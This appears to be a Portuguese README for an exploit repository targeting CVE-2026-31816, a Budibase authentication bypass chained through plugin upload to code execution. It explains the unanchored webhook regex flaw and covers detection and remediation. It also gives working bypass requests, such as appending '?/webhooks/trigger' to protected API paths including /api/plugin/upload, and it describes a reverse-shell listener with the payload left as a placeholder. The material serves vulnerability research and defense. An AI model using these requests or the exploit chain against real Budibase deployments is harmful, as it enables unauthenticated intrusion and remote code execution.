k3ystr0k3r/cve-2026-31816CVE-2026-31816 - Bypass de Autenticação no Budibase para RCE
CVE-2026-31816 é uma vulnerabilidade crítica de bypass de autenticação e autorização que afeta o Budibase.
A vulnerabilidade existe no middleware de autorização no lado do servidor responsável por proteger endpoints de API. O Budibase tenta identificar endpoints legítimos de webhook com uma expressão regular não ancorada e avalia essa expressão contra o ctx.request.url do Koa.
Como o ctx.request.url contém a string de consulta, um atacante pode injetar um caminho com aparência de webhook no componente de consulta de uma requisição de API não relacionada.
Por exemplo:
/api/integrations?/webhooks/trigger
A requisição não tem como alvo real o endpoint de webhook. No entanto, a verificação vulnerável pode interpretar /webhooks/trigger como evidência de que a requisição é uma requisição legítima de webhook e permitir que a execução continue sem as verificações normais de autenticação e autorização.
A NVD descreve o problema como permitindo que um atacante remoto completamente não autenticado acesse endpoints de API no lado do servidor ao acrescentar um padrão de caminho de webhook à URL.
A NVD registra as versões do Budibase até 3.31.4 como afetadas e atribui uma pontuação CVSS 3.1 de 9.1.
A lógica vulnerável gira em torno da detecção de webhook executada antes da autorização normal.
O advisory de segurança documenta código conceitualmente equivalente a:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
O problema é a combinação de dois comportamentos:
ctx.request.url contém a string de consulta.Isso significa que a expressão não precisa corresponder ao caminho real da requisição.
Uma requisição como:
/api/some/protected/endpoint?/webhooks/trigger
ainda contém a string:
/webhooks/trigger
dentro da URL que está sendo testada.
O middleware de autorização subsequentemente trata a requisição como uma requisição de webhook e alcança o endpoint sem executar o fluxo normal de autorização.
O advisory de segurança do Budibase identifica explicitamente isso como a falha subjacente e observa que o bypass ignora autenticação, autorização, verificações de papel e proteção CSRF.
Uma requisição normal a um endpoint de API protegido deveria passar pela camada de autenticação.
Por exemplo:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
Em vez disso, é possível alcançar uma instância vulnerável com o padrão de string de consulta de webhook:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
A parte importante é:
?/webhooks/trigger
O endpoint em si não mudou:
/api/integrations
Apenas a string de consulta foi modificada.
O advisory público do Budibase demonstra exatamente essa técnica contra /api/integrations e vários outros endpoints no lado do servidor.
Uma forma segura de verificar o bypass de autenticação em um laboratório controlado é comparar uma requisição comum com a variante de consulta de webhook.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
O servidor vulnerável pode processar a segunda requisição sem as verificações de autenticação que normalmente protegeriam o endpoint.
Um PoC publicado utiliza de forma semelhante:
/api/integrations?/webhooks/trigger
como uma verificação simples de vulnerabilidade.
O exemplo a seguir demonstra a estrutura de uma requisição de API autenticada sendo transformada em uma requisição não autenticada ao adicionar o padrão de webhook.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
O advisory oficial do Budibase documenta esse endpoint como uma das superfícies de API afetadas.
Outros endpoints no lado do servidor documentados como alcançáveis pela mesma falha incluem:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
O ponto principal é que a vulnerabilidade não está vinculada a um recurso específico do aplicativo. O middleware de autorização afetado fica diante de um amplo conjunto de APIs no lado do servidor.
O bypass de autenticação pode se tornar consideravelmente mais grave quando combinado com uma API sensível capaz de aceitar funcionalidade controlada pelo atacante.
O PoC neste repositório encadeia a vulnerabilidade da seguinte forma:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations, depois constrói um arquivo de plugin do Budibase e o envia por meio de /api/plugin/upload.Uma vez que a autorização foi contornada, a requisição de upload de plugin segue o formato normal de upload multipart, com a consulta de webhook vulnerável acrescentada à URL.
Uma representação sanitizada é:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
O PoC do repositório cria essa requisição multipart com um arquivo de plugin .tar.gz e a envia para /api/plugin/upload?/webhooks/trigger.
Por segurança, a requisição acima deixa intencionalmente o arquivo executável como um espaço reservado em vez de incorporar um payload de reverse shell diretamente na documentação.
O PoC gera um arquivo de plugin contendo:
package.json
schema.json
datasource-helper.js
O arquivo é criado como um tarball compactado com gzip.
O componente JavaScript é construído para que o Node.js carregue child_process e execute um comando fornecido:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
A implementação do repositório suporta vários tipos de payload e gera dinamicamente o comando correspondente.
Este é o segundo estágio da cadeia:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
A vulnerabilidade é fundamentalmente um erro de análise de URL e de fronteira de confiança.
O aplicativo precisa que algumas rotas de webhook sejam publicamente acessíveis. Em vez de determinar se o caminho real da requisição pertence a uma rota de webhook permitida, a implementação vulnerável procura uma substring correspondente em toda a URL.
Conceitualmente:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
Como a string de consulta é controlada pelo atacante, um atacante pode colocar a string esperada pelo detector de webhook em qualquer lugar da URL.
Isso faz com que uma verificação booleana sensível à segurança retorne o resultado errado:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
O advisory do Budibase descreve explicitamente o comportamento de return next() antecipado e o consequente bypass das verificações de segurança.
A vulnerabilidade é consideravelmente mais ampla do que um simples bypass de login.
De acordo com o advisory do fornecedor, a exploração pode fornecer acesso não autenticado a APIs no lado do servidor afetando:
O advisory também confirma que o bypass elimina a proteção CSRF e não exige interação do usuário nem credenciais existentes.
Quando uma API vulnerável capaz de processar funcionalidade controlada pelo atacante é alcançável por meio do bypass, a vulnerabilidade pode ser encadeada em execução arbitrária de código.
O PoC incluído neste repositório demonstra esse caminho de ataque construindo um arquivo de plugin, enviando-o e aguardando a execução.
Uma estratégia básica de detecção é comparar o comportamento de autenticação de uma requisição comum com a mesma requisição contendo um sufixo de consulta no estilo webhook.
Exemplo:
curl -i http://127.0.0.1:10000/api/integrations
versus:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
Uma instalação vulnerável pode expor um endpoint protegido por meio da segunda requisição.
Essa técnica também é usada por material de detecção publicamente disponível para o CVE-2026-31816.
A entrada da NVD identifica:
Budibase <= 3.31.4
como afetadas.
Há uma discrepância importante na documentação que vale registrar: o advisory de segurança ativo no GitHub atualmente exibe "Versões corrigidas: Nenhuma", enquanto referências independentes de vulnerabilidade identificam 3.31.5 e posteriores como o limite da correção.
Por esse motivo, este repositório não deve apresentar 3.31.5 como uma correção inquestionável confirmada pelo fornecedor, a menos que a respectiva versão/alteração do Budibase seja verificada de forma independente.
A principal remediação é atualizar o Budibase para uma versão que contenha a correção upstream.
Até que a correção seja possível, os controles defensivos podem incluir:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
A vulnerabilidade é especialmente preocupante para implantações auto-hospedadas expostas à internet, porque o ataque não exige sessão autenticada.
Um indicador útil em nível de log é uma requisição de API contendo um padrão de rota de webhook na string de consulta:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
Por exemplo:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
Esses padrões devem ser investigados em vez de serem tratados automaticamente como prova de exploração, pois o tráfego legítimo e o comportamento específico do aplicativo também devem ser considerados.
A implementação do exploit neste repositório é dividida em vários componentes lógicos:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
A implementação também contém um listener opcional para receber uma conexão de shell após a exploração bem-sucedida.
Para um laboratório controlado:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
Esta vulnerabilidade é um bom exemplo de por que a correspondência de URL sensível à segurança deve ser realizada contra um caminho de requisição devidamente analisado e normalizado, em vez de uma string de URL completa controlada pelo atacante.
O bug é sutil porque a funcionalidade de webhook em si é legítima. O problema é a decisão de confiança tomada pelo middleware:
"Does this request target a webhook?"
é efetivamente respondida por:
"Does the entire URL contain a webhook-looking substring?"
Essas não são propriedades de segurança equivalentes.
Portanto, um atacante não precisa fazer com que a requisição se torne de fato uma requisição de webhook. Ele só precisa fazer o middleware de autorização acreditar que é uma.
Este repositório é destinado a pesquisa de segurança, validação de vulnerabilidades e testes autorizados.
Não use o exploit contra sistemas que você não possui ou para os quais não tem permissão explícita para testar.
| Campo | Valor |
|---|
| CVE | CVE-2026-31816 |
| Fornecedor | Budibase |
| Produto | Budibase |
| Versões afetadas | <= 3.31.4 |
| Severidade | Crítica |
| CVSS v3.1 | 9.1 |
| Vetor CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Vetor de Ataque | Rede |
| Privilégios Necessários | Nenhum |
| Interação do Usuário | Nenhum |
| Autenticação Necessária | Não |